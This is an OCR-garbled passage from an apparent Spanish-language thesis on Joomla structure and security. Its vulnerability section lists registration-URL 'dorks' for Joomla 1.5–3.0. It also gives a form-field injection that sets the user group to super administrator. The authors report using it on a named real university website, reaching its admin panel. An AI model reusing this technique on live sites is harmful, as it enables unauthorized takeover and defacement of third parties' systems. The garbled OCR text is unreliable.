atacante para desencadenar un ataque contra la aplicacién, mediante el

manejo de un error derivado de un defecto.

En el item mencionado anteriormente muestra los tipos de
vuinerabilidad en el acceso a la web. Para elio tratare de resoiverios
teniendo en consideracion el item mencionado y pruebas
correspondientes con hechos reales

Definicion de términos

2.4.1. Servicio Web:

Es una tecnologia que utiliza un conjunto de protocolos y estandares
que sirven para intercambiar datos entre apiicaciones. Distintas

aplicaciones de software desarrolladas en lenguajes de programacién

diferentes, v slecutadas sobre cualquier piataforma, pueden utilizar los

servicios web para intercambiar datos en redes de ordenadores como

internat

2.4.2. Puerta Trasera:
En un sistema informatico, es una secuencia especial dentro del cédigo

gramacion, mediante 13 cual se pueden evitar los sistema

de

n

~

!
£
=

N
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2.4.3. Base de Datos:
Son los datos que se almacenan en tablas, donde cada fila identifica

univocamente a un elemento distinto, Para acceder a elias se realizan

[RS8 IRY 12111 Lo Lo tnd sSAIRiE

mediante consultas de SQL (Lenguaje estructurado de consultas).

2.4.4. Algoritmo:
Es un conjunto prescrito de instrucciones o reglas bien definidas,

ordenadas Yy finitas que permite realizar una actividad mediante pasos
sucesivos que no generen dudas a quien deba realizar dicha
actividad. Dados un estado inicial y una entrada, siguiendo los pasos

sucesivos se llega a un estado final y se obtiene una solucién

2.4.5. Inyeccion SQL
Es un método de infiltracion de cédigo intruso que se vale de
una vulnerabilidad informatica presente en una aplicacién en el nivel de

validacién de las entradas para realizar consultas a una base de datos.

El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filirado
de las variables utilizadas en un programa que contiene, o bien genera,
codigo SQL. Es, de hecho, un error de una clase mas general de
vulnerabilidades que puede ocurrir en cualquierlenguaje de

programacion o script que esté embebido dentro de otro.

Se conoce como Inyeccion SQL, indistintamente, al tipo de
vulnerabilidad, al método de infiltracién, al hecho de incrustar cédigo SQL
intruso y a la porcién de codigo incrustado.
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CAPITULO I

MARCO METODOLOGICO

3.1. Tipo y nivel de investigacion

Fundamentando los propésitos de la investigacién y la naturaleza importante de las
necesidades y probiemas deieciados, ia investigacion es de Accion expioratorio y
Desarrollo, el mismo que se constituye como un método de estudio y accién de tipo

ot a!;l‘gh\ln i hiiana nhtanar raciiltadne fighlag v titilag nara meiorar crhlcr\lnnac
=t =i

colectivas, basando la investigacion en la exploratoria. Cabe mencionar segun

LinwaAlenda Cramaminm ~sficeas ~iva laa An ante

Daba Al Al
I\UUCILU meimiainueZ DatnpIcn, ailrnia yuo 1uo ll}JUQ GE€ &E31Gios quc io }JUCUC

establecer hipé6tesis son los exploratorios ®). Por ofra parte la investigacion
exploratorio es aquella que se efectua sobre un tema u objeto desconocido o poco
esiudiado, por 10 gue sus iesuitados constituyen una visi iGN aproximada de dicho

objeto, es decir, un nivel superficial de conocimientos (10,

3.2. Métodos de investigacion
El proyecto utilizara dos tipos de metodologia, la primera relacionada a

i2 investigacion y ia segunda ai desarrolio del aigoritmo.

3.2.1. Investigacion
En el estudio se tomé en cuenta paginas gubernamentales de Huanuco
d

iesde ia version 1.5 en adelante,
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3.2.1.1. Arquitectura iVC de Joomla
Joomlal es un CMS (sistema de gestion de contenidos) famoso en todo

el mundo aque utiiza la arguitectura MVC (Modelo-Vista-Controlador nar

-
it
[

construir sus componentes. Ha estado ahi desde hace muchos afios y ha
d

nasado por muchos cambios para encaiar en diferentes tinos

H LuTmisiinnT e sins

m

necesidades. Hace muy poco, los desarrolladores Joomla! tuvieron la

idea da hacer esta arouitectura mae floxihle nara sunerar laos ratas de!
s m == s == e B Tt TR E s STTmE T | Ballit Joledi Al e ===

futuro. Como resuitado de esto, este nuevo MVC se introduce en el

Joomlal

En las versiones de 2.5 en adelante ha surgido algunos cambios en el

MVC, por el tema de mejoramiento y optimizacion de codigos y sobre

tado de tacil administracion del CMS

3.2.1.1.1. Primer vistazo al Nuevo MVC

La Estructura de MVC de Joomla, aunque en las versiones anteriores
no difiere mucho en el reordenamiento, ia idea se mantiene.

Nueva estructura de carpetas

| 4 (3 com_config

i » (2% controller

; & CF helper

i 4 (2 model

: b (B field

: p B form

; b [B) spplication.php

p [ component.php

! B indexhitrnt

l b view

; [ accessxmi

b [B config.php
% configaxml
E%'ind.ex.html

1
i
i
1

imagen 02: Estructura de Carpetas de Joomla
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Es practicamente igual a la arquitectura del MVC existente. Pero los
nombres de carpetas son singulares. Asi que en el nuevo MVC se
espera que los usuarios utilicen nombres de carpetas distintos.
Fichero Gnico para el controlador.
4 (5B «con.tmlier
p [} cancelphp

b (B} display.php
[ indexhtmi

b [F} save.php
|

Imagen 03: Archivos del controlador de Joomla

Este es un cambio importante en el nuevo MVC. El nuevo MVC
tiene un archivo independiente para cada coniroiador. Hay veniajas
especiales en este disefio que seran discutidas en este articulo mas
adelante. En ei MVC existente séio hay un archivo que contiene
todas estas tareas de control.

Método tnico para el controlador

"cl'ass Cont‘ig{:on‘ﬁrollerApplicéﬁidﬁS.afe ekbends J(v:om:zc‘]‘.lérulsavé-e
A -

* Method to save global configuration.
*®

* Creturn bool True on success.

L3

* Emince 3.2

*f
public function execute ()[]

Imagen 04: Cédigo del controlador de Joomla
Dentro de un controlador, la estructura es muy simple. Solo hay un
meétodo, iilamado “ejecutar®. La funcionaiidad compieta de dicho
controlador se agrega a ese método "ejecutar”. Este cambio hace

de ios controladores algo muy facii de entender y de acceder.
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Nuevas librerias para MVC

& (%9 libraries
4 (% joomia
a4 (B controller
B E’B biave.php
b [Fl controller.php
&) index.html

4 (2B model
i [ basephp
i [F} database.php
[ indexhtml
p [A} model.php
o (B view '
i E‘B base.php
b [Py htmiphp
[} indexhtml
b [6 view.php

i

Imagen 05: librerias nuevas de MVC de Joomla

Para el nuevo MVC, las librerias/carpetas Joomla contiene 3
nuevas subcarpeias: coniroiador, modeio y vista. Cada carpeta
contiene su respectiva clase Base, que debe ser utilizada en la
impiementacion de ias ciases dei controiador, ei modeio y ia vista
de los componentes. Actualmente éstos se incluyen dentro de la
Gitima reiease dei CMS. Estas clases a nivei de libreria son la base
de cualquier nuevo componente MVC ("), La principal ventaja de
esto es reducir la redundancia de cadigo en las clases heredadas,
que se utilizan en el MVC existente.

Conforme pasa el tiempo, la clase mas reutilizable se afiadira a las
librerias. Puedes ver algunos ejemplos de posibles controladores
reutilizables en Ia carpeta del controlador: com_configt’¥ o ia
carpeta del cms: com_cache-com_checkinrepository('3. Gracias a
la carga automatica de clases, en algunos casos, los componentes
no requeriran ningun controlador propio o no uno por clase. Ademas

veras que ias ciases de ia Vista también se vueiven muy simpies y
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las clases del Modelo son similares a las existentes en el actual
MVC. En el nuevo MVC la clase del Modelo no tiene por qué ser
hija de la clase JModelBase, pero también puede ser una clase de
tabia en funcion de ia exigencia.

3.2.1.1.2. Ventajas del nuevo MVC

Al crear un componente Joomla! usando el nuevo MVC, como
desarrollador detectaras los siguientes puntos:
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En este momento los siguientes componentes se han transferido a
un nuevo MVC y estan esperando en la cola de peticiones de
extraccién.

. com_config
. com_checkin

e com_cache

- 3.2.1.1.3. Administracién del Front-end
Ahora que se ha mostrado la importancia del nuevo MVC. Ahora es

posibie que se vea aigunos iogros especiaies de esie cambio. La

administracion del front-end es una de esas cosas que faciimente
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se puede implementar con el nuevo MVC. A través de la
administracion del front-end, los Usuarios Joomia! tendran la
oportunidad de hacer varios cambios sin acceder al backend en
absoiuto. Creo que esto seria muy util para atraer a los usuarios
novatos, ya que el back-end (vista administrativa) contiene paneles

de configuracion muy complejos.

Como paso inicial, crear con éxito la vista de administracion del
front-end para la Configuracion Global y el Gestor de piantillas. A
continuacion se encuentran algunas de las caracteristicas que

ofrecen los componentes de administracion del front-end:

A. Cambiar el nombre del sitio

B. Cambiar el logo del sitio

C. Cambiar el color de la plantilla
D. Cambiar el color de fondo

E. Poner el sitio online/offline

F. AnAadir Meta descripciones

Con el tiempo habra mas funcionalidades que se afadan a la

administracion de front-end.
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3.2.1.2. La arquitectura del sistema Joomla
Joomia se basa en una serie de elementos que se podra crear,

editar v configurar en el Panel de Control de ia administracion del
sitio y que tienen reflejo visual en el Frontend del sitio.

L2 instalacian basica de Joomia, 1a aue se rezliza, se muestra
alguna de estas opciones. Si se navega por los menus del Panel de
Control se puede var log términas Articulos, Componentes, Mentig,

Plugins, Médulos o Plantillas. ¢Qué significa todo esto y dénde

estén en realidad en mi sitin?

3.2.1.2.1. La arquitectura del sistema Joomla

Son el elemento fundamental de Joomla. Joomla es un gestor de
contenidos y el articulo es el contenido estrella. inciuye un tituio,
texto y/o elementos multimedia diversos (imagenes, reproductores

flash, enlaces a documentos, videos, presentaciones...) y diversos

. Con el ordenador a cuestas
- sitios web reatizados con Joomia (todas las versiones) .
{ e e e 5 -
. [ Lo W et e 2007 T . ahk® - .
momaumeeeere - Titulo del articulo | & =~
< Togn: e g gnsr € oomuren | e | Shas 1T | deanis 3 Onmils ey
e Quaswing SRdEE WS ANOA W POARENETE MY JOTOAR Paia BV WX IAGLTEERIN qun ¢70 CN I Sbupe W ’
s reosovan |
o [ O Torn o e SIS SR ST B, 5 Sk LSS o0 DA B SRR SIS MRS % :
visitaJoominog CONtenido del articulo | ;
v o 4 S MBI P 5 JOMRER T AN B8 Heve (c']db'.bol '
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Imagen 06: Gestor de contenidos de Joomla

No vamos a entrar en demasiados detalles por ahora, pero te

adelantamos que Joomia puede mostrar un  articulo
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individualmente, un listado de articulos, puedes configurar que el
articulo esté publicado o no (como guardado en la recamara hasta
un momento mejor). Puedes hacer que un articulo sea destacado
para que se muestre en ia portada del sitio o pagina principal o no,
archivarios, enviarlos a la papelera, recuperarios mas adelante,

reutilizarlos, copiarlos, moverlos de sitio, etc.

3.2.1.2.2. Componentes
La arquitectura de Joomla, aunque simple, puede convertirse en
exiremadamenie compieja. Cuando se insiaie ei sistema io reaiiza
con lo mas elemental, pero Joomla esta preparado para que se le
afiada nuevas funcionaiidades insitaiando pequefias apiicaciones
que asi lo permitan. Son las llamadas extensiones. Una de estas
extensiones es, precisamenie, ésia de ia que habiamos, ios

componentes.

Todos los componentes instalados se listan en el menu
Componentes. En la instalacion basica de Joomla ya vienen
preinstalados unos cuantos que sirven a los propositos generaies
de cualquier pagina web: un buscador, un sistema de enlaces,
feeds RSS...

o l Componentes l Extensior
Banners : P¥¥i

=

k)

S

o
-

Buscar _ _ ‘
Bisqueda intefigente ;
Confazctos

Enlaces Web

yROB - -

Mensajeria

4""'
T

Noticias externas

*e

Redireccionar

NP ww - m AUV R R

ol X .

U

Imagen 07: Componente en gestor de contenidos de Joomla
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Pero existen cientos de componentes que se podra instalar en el
sitio para muititud de propoésitos: desde componentes sencillos que
permiten visualizar imagenes o videos hasta componentes
compiejos con ios que se podra montar un auténtico portal de
servicios, un portal de ventas o incluso montar una propia red

social. Recuerda que se puede localizar fisicamente en la carpeta

Armmrmaanandie Ha lammsis 2 =
\J\JIIIP\JI ICIH IO UG vuuwiina Yl
+  Joomla_2.5.45penish-Pack_Completo | componenss | @ . Q sustar
o ;“;ﬂ e~ ——, f—
L L L L
com_bannets com_contact com_cantent com_finder
—-—“3 «p-\*—.‘; i——.\ (hl
L |
tom_mailto’ com_media <om_newsfeeds com_search ‘
] ! 1 t i 1 . ;
i i 1
| L i
com_users: com_weblinks com_wrapper index.html

imagen 08: Componentes de Joomia

3.2,1.2.3. Médulos
Si te fijas la mayoria de los sitios Web realizados con Joomla tienen
una esiructura muy simiiar. £n ia zona cenirai se muestra ei
contenido principal (los articulos de un blog, las dltimas noticias...)
y, a su airededor, muititud de cajitas o contenedores, mosirando
informacién adicional como el formulario de ingreso para los
usuarios 0 ei menu de navegacion por ias distintas paginas y

secciones de la pagina.
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Imagen 09: paginas realizadas en Joomla

Todos estos contenedores son los modulos. Son, por tanto, bloques
de contenido independientes que pueden ser colocados de manera
flexible a lo largo del portal usando las posiciones que se muestran
predefinidas en la plantilla que se esta utilizando. Ya sé que, de
momento, estos son conceptos un tanto complicados de entender a
estas alturas, pero la idea de que en el Panei de Controi se podras
crear, editar y configurar diversos médulos y que estos médulos
tendran su reflejo en el Frontend del sitio en esa especie de
contenedores o cajones que se muestran alrededor de la zona

centrai.

Todos los mddulos se administran desde la seccién Extensiones —
Gestor de moéduios:

l Extensiones I Ayuda

177 Gestor de Plantlias
" & Gestor ¢e Idomas 6
s N - - .

Imagen 10: Gestor de médulos en Joomla
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Tal y como ocurre con los componentes, Joomla ya viene con una
cantidad concreta de modulos disponibles en su instalacion basica
pero también se podra instalar numerosos moédulos disponibles
para muitipies funcionalidades. Recuerda que se puede localizar
fisicamente en la carpeta modules de Joomla 2.5

Si a todo ello se le afnade la flexibilidad de poder ubicar los médulos
en diversos lugares de la pagina, entenderas que Joomla 2.5,
ofrece enormes posibilidades a la hora de poder disefarla, incluso a
posteriori, cuando el sitio ya esté en marcha. Y todo sin tener
apenas conocimientos informaticos y sin necesidad de tocar codigo.

Eviramadamant
—Xire ent

manta aoaneillal
i magamenie sencliict

M

3.2.1.2.4. Plugins

Son pequefios scripts dedicados a hacer tareas en el sistema, en
principio, senciiias. Por ejempio, uin piugin puede dedicarse a crear
automaticamente imagenes en miniatura en un articulo que enlazan
a ia version compieia de ia imagen, en su tamano originai. En este
mismo sitio con el ordenador a cuestas se tienes ejemplos
concreios de esto. Pero itambién existen piugins muy compiejos
como el plugin de caché, que permite mejorar el rendimiento de la
pagina web.

Todos los plugins se administran desde el ment Extensiones ~

Gestor de plugins:

‘ Extensiones I Ayuda

‘%) Gestor de Extensiones -

& Gestordeldomss =~ €
bt SO

imagen 11: Gestor de Piugins en Joomia
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Y tal y como sucede con Componentes y Médulos, la instalacion
basica de Joomia ya incluye varios plugins preinstalados, pero se
podra instalar muchisimos mas segun diferentes propésitos.

Recuerda que fisicamente los plugins se encuentran en ia carpeta

nhining da lnamla 2 5§
r’.vlali Pt WA W NSNS E R 2INA AW

3.2.1.2.5. Las plantillas
Las plantillas, disefios, themes o templates son el esqueleto
esiélico de ia Web. Son ias responsabies dei disefo estélico dei
sitio: los colores, los formatos de fuente, los fugares en los que
puedes ubicar ios moduios (ias posiciones de ia piantiiia)... todo
esta definido en la plantilla que se esté utilizando en cada momento

{14)

Joomla es un gestor de contenidos que se preocupa precisamente
de eso, de los contenidos. El disefio del sitio, su aspecto, es
relativamente importante (*9), tanto es asi que no se tendra que
ocupar de eso, si no se desea. El disefic va a depender de la
plantilla que se esté utilizando en cada momento, y se podra
cambiarlo, eso si con ciertas precauciones y restricciones, siempre
que lo desees. Un sitio Joomla, con los mismos contenidos,
componentes - y méoduios instaiados puede parecer diferente
simplemente desactivando la plantilla actual y habilitando una

nueva. jAsi de sencillo!

Imagen 12: Paginas de Joomla en forma tradicional
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Mismos contenidos — distintas plantillas en uso — distintos disefios
del sitio

La instalacién basica de Joomla incluye un nidmero muy limitado de

estas piantiillas pero, no hay que preocuparse, se encontrara cientos .
de plantillas diferentes, gratuitas y de pago, en la red que se podra

instalar en el sitio para que el aspecto de la webweb sea
espectacular. Recuerda que todas las plantillas se encuentran

fisicamente en la carpeta templates de Joomla 2.5.

+  Joomla_2.5.4:Spanish-Pack_Completo |tamplates: & » @ Buscar ]
i

(] ] ] (]
atomic beezs beez_20 system ' ‘

S ,,,,,] ) . i

index htm! ' , :

Imagen 13: plan’ullas de Joomla en e| pack gratunto

Y si a ello se le afiade distintas plantillas en diferentes paginas o

secciones de la web, se entenderd la enorme flexibilidad gque le

STLVLIWIITS T

proporciona Joomla también en cuestiones de disefio.

Todas las plantilias se administran desde el menu Extensicnes —

H Extensiones I Ayuda :

ﬁ Gestor d»e \Extensm

!
%;2‘; Gestor de Moduos
P _
|
L

Imagen 14: Gestor de plantillas en sistema Joomia
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Desde este Gestor se podra habilitar la plantilla en uso para el sitio

web, pero también se podra configurarla segun las necesidades.

3.2.1.3. La estructura de carpetas y archivos

Entender pues, la estructura que Joomla posee y cudles son sus
principales ficheros y directorios puede ayudarte a una mejor
comprension de su funcionamiento. Le indicamos algunas de sus
particuiaridades que se tendra que tener en consideracion mas
adelante, cuando inicies el trabajo con este gestor de contenidos.
Y, a continuacién, vamos a visualizar la estructura de Joomia 2.5:

+ Descargas  Joomis 2.5.4SpenishOack Completa! © & - 8 Busear
L L ] L
administrator cache cli components

iy e,

L L _ C

images includes installation language

e, e, . i,

L L L L

libraries logs media modules

e, p--n_.H soee .

"plu‘gins templates tmp htaccess.txt
- ~ - ! -

index.php joomila.xml LICENSE. txt README. {xt
i . - *

cobots.txt webxoﬁﬂg.mt

imagen i5: Conienido compieio de Joomia 2.5
3.2.1.3.1. Carpeta Administrator
Incluye basicamente todos los ficheros y directorios necesarios para
el correcio iuncionaimienio dei Backend de Joomia. Ei conienido de
esta carpeta es accedido cuando accedes al administrador desde el

navegador.
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3.2.1.3.2. Carpeta Components

En esta carpeta puedes ver subdirectorios diferentes segun los
componenies insialadgos en ei sistema. Como puedes apreciar ia
instalacion basica de Joomla 2.5 ya incluye una gran variedad de
componenies basicos instaiados. Son ios responsabies de ia
creacion, configuracién y publicacién de articulos (componente
com_content), de ia creacion, configuracion y gestion de'banners
publicitarios (componente com_banners), de las busquedas en el

sistema (componenie com_search), de ia gestion de ios archivos

miidimmadin framnanante fanmm madis) ate
FEIRARREITR l\'\-ilu \\I\J' 1] i’lv' (AT R FAWER VW) )] l_l 1 I\Julul, Wi,
o P i
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. 7 i} _ _ J
i p— —— e, ,ﬁ'—’-n_‘ ,
! ‘ ‘ t ‘ ‘ ': L
| com banners com_contact. <om_content com_finder
; -1-———-.T g, . n-—--—,‘ . e, :
% ‘ ] H
| com_mailto com_media ‘com_newsfeeds com_search :
; o N K e e, . .
| ; ) L. [
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[ com_users com_weblinks com_wrapper index.html :

imagen 16: Componentes de Joomia 2.5

Mas adelante, cuando instales nuevos componentes en el sistema
podras ver aqui (y también en otros directorios de Joomia,
dependiendo de la complejidad del componente instalado) los
distintos ficheros y carpetas necesarios para cada uno de ellos.
Identificaras rapidamente la carpeta asociada al componente

instalado por el nombre del directorio, idéntico ai del componente.

3.2.1.3.3. Carpeta images
incluye algunas de las imagenes necesarias para el sistema como

ios banners, ias imagenes de eiempio o ios iogos de joomia. Pero
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sobre todas las cosas, lo fundamental es que esta carpeta es la
predeterminada por Joomla 2.5 para ser utilizada por el Gestor
Muiltimedia del sistema. En esta carpeta crearas subcarpetas
especificas que puedan aiojar tus propias imagenes. Una buena
clasificacion en ella te evitara muchos quebraderos de cabeza

cuando desees enlazar imagenes en tus articulos, por ejemplo.

< Joomla 2.5.45panish-Pack Completo - images| v & . O Buscar f
{ r 4 R 77‘.“' -
| banners sampledata 25_spanish_logo_ index_html
‘ 142.png
I S K B oorrisi o
' joomia_black.gif joomia_greengif  joomla_logo_black. logo4s.png
" ira
S

powered_by.png

[&)]
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Hilayciy 1/. valpola uc iinayciitd uc Juuiiila L.

Para que comprendas basicamente, de momento, su
funcionamiento, te indicamos que desde ei Gestor muitimedia
puedes crear carpetas especificas y subir a ellas las imagenes que
utilices en los articulos. También esto mismo hara Joomia cuando
afiadas imagenes directamente en los articulos que crees mediante
el botdn Imagen: las incluira de forma predeterminada en esta
carpeta (aunque este boton también te permitira crear subcarpetas
donde alojarlas).

El reflejo, en cualquier caso, en la estructura de Joomla es la
creacion de dichos directorios en esta carpeta images o la
presencia de dichas imagenes en esta carpeta.

Atencion

Cuando instalas extensiones nuevas en Joomla 2.5 que trabajan

con imagenes coma galerias de fotografias o visores y
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reproductores de imagenes tienes que considerar que los
programadores - desarroltadores de la extension utilizan la carpeta
images en su configuracion. jNo lo olvides: no borres esta carpeta o

te arriesgas a que estas extensiones no funcionen!

3.2.1.3.4. Carpeta modules

Se encuentran aqui los directorios y ficheros necesarios para el

mm Do B

funcionamienio de cada uno de ios modui

10duios instaiados en ei
sistema. Cada mddulo dispone de su propia carpeta diferenciada.
ruedes ideniilicaria por su nombore.
Joomla 2.5 ya incluye preinstalados una gran variedad de modulos,
que iremos viendo a lo largo de los diferentes tutoriaies dedicados a
la utilizacién de Joomla, pero también podras instalar muchos otros

en el futuro. Por supuesto, estas nuevas instalaciones crearan

netas en agte direptoria,

3.2.1.3.5. Carpeta plugins
Similar a la anterior. Se encuentran aqui los directorios y ficheros
Necesarios para ei iuncionainienio de cada uno de ios piugins
instalados en el sistema. Al igual que ocurrfa con los anteriores,
cada piugin tiene su propia caipeia diierenciada y cuando insiaies
nuevos plugins de terceros aqui habra nuevas carpetas especificas

de cada uno de eiios.

3.2.1.3.6. Carpeta templates

Esta carpeta es la carpeta que incluye todos los archivos
necesarios paia ias distinias pianiiiias que puedes utiiizar en ei
sistema, tanto las relativas al Frontend como al Backend del
sistemna. De ia misma forma, ia instaiacion de nuevas piantiias en ei
sistema se corresponde con la aparicién de nuevas carpetas en
este direciorio. Observa que cada carpeia se ilama iguai que ia

plantilla correspondiente. Veremos mas en profundidad esta
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carpeta, y sus subcarpetas, cuando te mostremos como crear,

configurar, editar, instalar o desinstalar nuevas plantillas para tu

hion  fae et

) , 1
Joomts_2.5.45panish-Pack_Completo |templates & » Q suscer J
) (] ) ]

| | |

atomic beezs beez_20 system
index.html

imagen 18: Cameta de plantilas de Joomia 2.5
3.2.1.4. Elfrontend y el Backend

La primera cuestion que se tiene que tener en cuenta es que,
cuando se trabajas con Joomla, se debe considerar que vas a
acceder a dos espacios diferentes accesibles via web, dos espacios
diferentes pero estrechamente relacionados, como veras; es decir,

dispones de dos puertas de acceso a tu sitio.

3.2.1.4.1. El sitio o Frontend de Joomla
Por un lado se encuentra tu sitio, tal y como lo puede ver cualquier
usuario que navegue hasta él. Es la apariencia que se muestra en
pantalla cuando el usuario escribe la direccién URL del sitio en el
campo Direccion del navegador. E incluye los contenidos 'due
Google indexara.

Por ejemplo, cuando escribes en el navegador

http://postgrado.unheval.edu.pe
Accedes a este sitio que esta realizado con Joomia.
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imagen 19: Carpeta de plantillas de Joomla 2.5

En el caso del sitio Joomla instalado en el servidor local podras ver
la apariencia del sitio que se construye al inicio si se escribes la

direccion siguiente en el navegador:

http://localhost/portal
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En realidad, lo que el usuario esta viendo en pantalla es el llamado
Frontend del sitio Joomla. Cualquier visitante puede verlo. Este
gestor de contenidos implementa un sistema de privilegios basado
en identidades acreditadas (compuestas por un nombre de usuario

y una clave o contrasefia) mediante las cuales, y dependiendo de
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los privilegios de esta acreditacion, se podra acceder o no a ciertos
contenidos e interactuar con ellos segtin los permisos que se tenga

concedidos.

3.2.1.4.2. La administracion del sitio o Backend de Joomla
Es la puerta de acceso privada al sitio. En la administracion se
gestionan los contenidos, los usuarios que pueden acceder al
sistema, la estética o apariencia del sitio y, en general, todo el
funcionamiento del mismo: desde cambiarie el nhombre al portal o
afiadir un nuevo articulo a la portada, hasta instalar una galeria de
fotografias o un foro completo destinado a la participacion vy

consulta de los visitantes.

En el caso de este sitio Joomia para acceder a la administracion no
hay mas que escribir en el campo Direccion del navegador, la

direccion URL del sitio mas el término administrator, es decir,

http://postgrado.unheval.edu.pe/Administrator

Nos lleva a la pagina de acceso a la administracién del sitio a la que
sblo podras acceder si dispones de los datos de acceso que te

acrediten como usuario con acceso al sistema.

En el caso de Joomla instalado en el servidor local la direccion URL
que te da acceso al Backend del sitio Joomla es idéntica, es decir,

la misma que la del Frontend seguida de /administrator/, es decir

IRFS LI LI ok -

httn-MNanalhastinartal/administratar
afitniiosan % a:zcminiatratay

El resultado sera la aparicion en pantalla de una pagina en la que
tienes que introducir un nombre de usuario y una contrasefia (datos
que algin administrador del sistema te habra facilitado o bien que

conoces por ser ti mismo el administrador).
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imagen 21i: sistema dei iogeo de Joomia Z.5

Si el sistema te reconoce como usuario dado de alta en el mismo,
sea cual sea la finalidad que tengas (escritor de contenidos, editor
del sitio, administrador, o simple usuario registrado.) te permitira

acceder; en caso contrario, no:

Por tanto, el Backend es una pagina oculta al visitante del sitio.
Engloba el darea de administracion. En ella s6lo pueden entrar el
administrador del sistema, es decir, tQ, y aquellos usuarios a los que
se les haya acreditado esta posibilidad, previo inicio de sesion en el
sistema, con sus credenciales personalizadas.

Cuando se realiza la instalacion de Joomla 2.5 se cred un unico
usuario acreditado ante el sistema, el usuario superadministrador,
con privilegios absolutos en el sistema, con el nombre de usuario
admin y la contrasefia aquella que estableciste en su momento
cuando se realiza la instalacién de Joomla. Con estos dos datos se
podra acceder como administrador absoluto a Joomla de tal manera
que se podra afnadir contenido nuevo, editar contenido existente,
cambiar el aspecto del sitio, crear menus de navegacioén, e incluso
borrar y eliminar todo el sitio, tal como se muestra en la imagen

siguiente:
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El Panel de Control de Joomla con un montdn de botones y men(s
que te permitiran acceder a todas las funciones y posibilidades de
este CMS.

Nota

Este no es el Unico acceso a la administracion de Joomla. También
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,Olvido su contrasefia? I
iOlvido su usuario? l
]

Imagen 23: Formulario de acceso a través de la web

pag. 55



Escribe el mismo nombre de usuario, admin, y la contrasefia en los
campos correspondientes y pulsa la tecla Intro de tu teclado o el
botén Iniciar sesion. jUn mensaje te da la bienvenida y te reconoce
como superadministrador!

Parece que no puedes hacer nada mas, al menos de momento...
Haz clic en el botonFinalizar sesion para salir del sistema.

En efecto, otra cuestion a tener en cuenta. Cierra siempre
correctamente Joomla. Si estas en el Frontend de tu sitio con este
boton Finalizar sesién y, si en cambio, estas en el Backend utiliza el
eniace FINALIZAR que localizaras en ia parte superior derecha de

SRR e e

0 %,

‘& No hay menesies s

Imagen 24: Finalizacién del panel de control

3.2.1.5. Vulnerabilidad de Joomia
3.2.1.5.1. Escalamiento de privilegios

MiuEsira COIMO SUDIT Tango de USEr SiMmpi€ @ USER
joomla y defacear® eso se llama como escalar privilegios.

Una manera de escalar privilegios es a través de los dorks, lo cual a
través de esto resultaria facil y sencillo y también defacear. A
continuacion se muestra los Dork de joomla para las versiones 1.5 a

3.0

component/users/?view=registration

findev nhn/camnanent hicar view=raagictration fuy1 5}
Jindex.phn/component/user/?viewsregictration (v1.5}
findex.php?option=com_users&view=registration {v.2.5)
/index.php/component/users/?view=registr-ation (v.2.5,3.0)

anow
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Para poder utilizar estos dorks, es necesario saber la versién de
Joomia, o en todo caso probar cual de estos dorks aceptan en eli
CMS Joomla.

Por ejemplo, a manera de prueba lo realizaremos a la pagina de

una universidad reconocida: UNCP

URVERSIDAD WALIOMAL

PEL LRNTRO OEL FEAL

Ao T owmcons o Aswetn ™ b acuager <+ Wrmeigac g l Ogewn Y Ot inan ¢ Cumen

Ragistrn €o Usuano

Imagen 25: Acceso de registro de usuario.

3.2.1.5.2. Script: hackeojoomla

Mediante el explorador chrom de google, realizamos inspeccion de
elemento para insertar codigo htmi.
El script se insertara tal como se muestra en la siguiente imagen.

<input value="7" name="jform{groups][}" />
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Imagen 26: Realizando la inyeccion a pagina de UNCP.

Una vez puesto el script y quedando tal como se muestra en la
imagen, es necesario iniroducir ios daios correcios a excepio en
contrasefia, que se tiene que introducir lo correcto y lo erroneo,
pues en ia confirmacion se tiene que infroducir ios cofrrecto, iuego
saldrd un mensaje de usuario registrado. Para activar fa cuenta
para joomia se tiene que confirmar en ei correo una vez hecho esto

ya podemos entrar a través de administrator. Ver imagen siguiente.

€ ) wwwaungpedupe/administator/

Administracion

Soarteh - 2008-2013

Imagen 27: Sistema Logeo UNCP.
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Introducimos el usuario y la contrasefia y quedara como se ve en la
imagen siguiente.

Lie  Vewawioa  Memin  Comends  Compasentes  Extegens  Aads

Bovana &1 wman

.. - {-_\ C ’n-‘ "» Los 5it7raes eavatios conectados X
N+ - - ol Romtne [resere [ st Erecmetx
b G dnarbrs Supr trae Mwerrw

$ Los Sarticvios mvée poprlares.

. "» Lo8 5 intwcs articufos altadidon
[ T 5

S o= B @ 5

' GeeSesevsrd  GeearcemAdit et Sesroecom Cotmodngied ; :
. .

R N C)

Gac eapmee Exmpmh

321 S e woften Moey cheiritunly bwja In Kreno GRCSPL
=owmigh - 207

Imagen 28: Ingreso al panel de control de UNCP.

La pagina estad vuinerable para realizar cualquier modificacion o

eliminacion inclusive de la base de datos, teniendo el control total
de pagina de joomla.
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CAPITULO IV

RESULTADOS

Para obiener ei resuiiado se reaiiz0 el desarroiio del aigoriimo y aplicacion finai,

4.1. DESARROLLO
En ia etapa de desarrollo se aplicé et modelo de prototipos, debido a
que se impiementara una apiicacion con el aigoritmo que meior prestacion

presente, para lo cual en primer lugar se comprendi6 el modelo de

administracion de Joomia por defecto, para posterior presentar el modelo

que sera “Modelo final”, aplicacion final del algoritmo.

4.1.1.1. Modelo del Sistema administracion de Joomla
La funcionalidad del sistema de Administracion de Joomla, esta

determinado tal como se muestra en la imagen siguiente
~

Sistema de administracion de Joomia

wgrinadmin 00 . . - o o 0 oW
togeo correcto

panel
d= controt

usuario
incorrecta
{sistema Logeo) .

Figura 01: Sistema de administracion de Joomla

Y Usuario admin

SISTEMA SDMVINISTRADOR

Fuente elaboracion propia.
En el figura 01, muestra que el usuario ingresa al sistema de
adminisiracion de Joomia, iuego se iogea, v si iodo resuiia correcio ingresa

al sistema de panel de control.
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A continuacion se presenta el prototipo de la administracién de Joomla,

figura 02(sistema de Logeo) y figura 03(Sistema de panel de control).

Funcionaiidad de Joomia graficamente

4.1.1.2.

Lt pigha oe b ool s,

 Conexion a la administracién de Joomla!
Use un namtxre ds vataio ¥ N
onkasofie vildos pare cbicoer

It
accesa s b somikimcEn Usiako L]

Gonvaseha

Sistema propuesto
En el sistema que se propuso, se realizé {a doble seguridad para el
d

sistema de administracion, de esta manera no nuede faciimente facear

LRSI R H et SR ot g ed 8 =) =

la pagina de joomia.

Modelo del sistema propuesto

O———) wsuario admin l

wsw@rioadming 0 . . L L L. .. . ..

usiRrio
incorrecto
(sistema Logeo}

paging usuario
primsipal incomecto

SSTEMA ADMINISTRADOR PROPUESTO
H
g
23
g < 1
9
X3
%
. P
&3

En el modelo propuesto, se puede apreciar que el usuario antes de poder
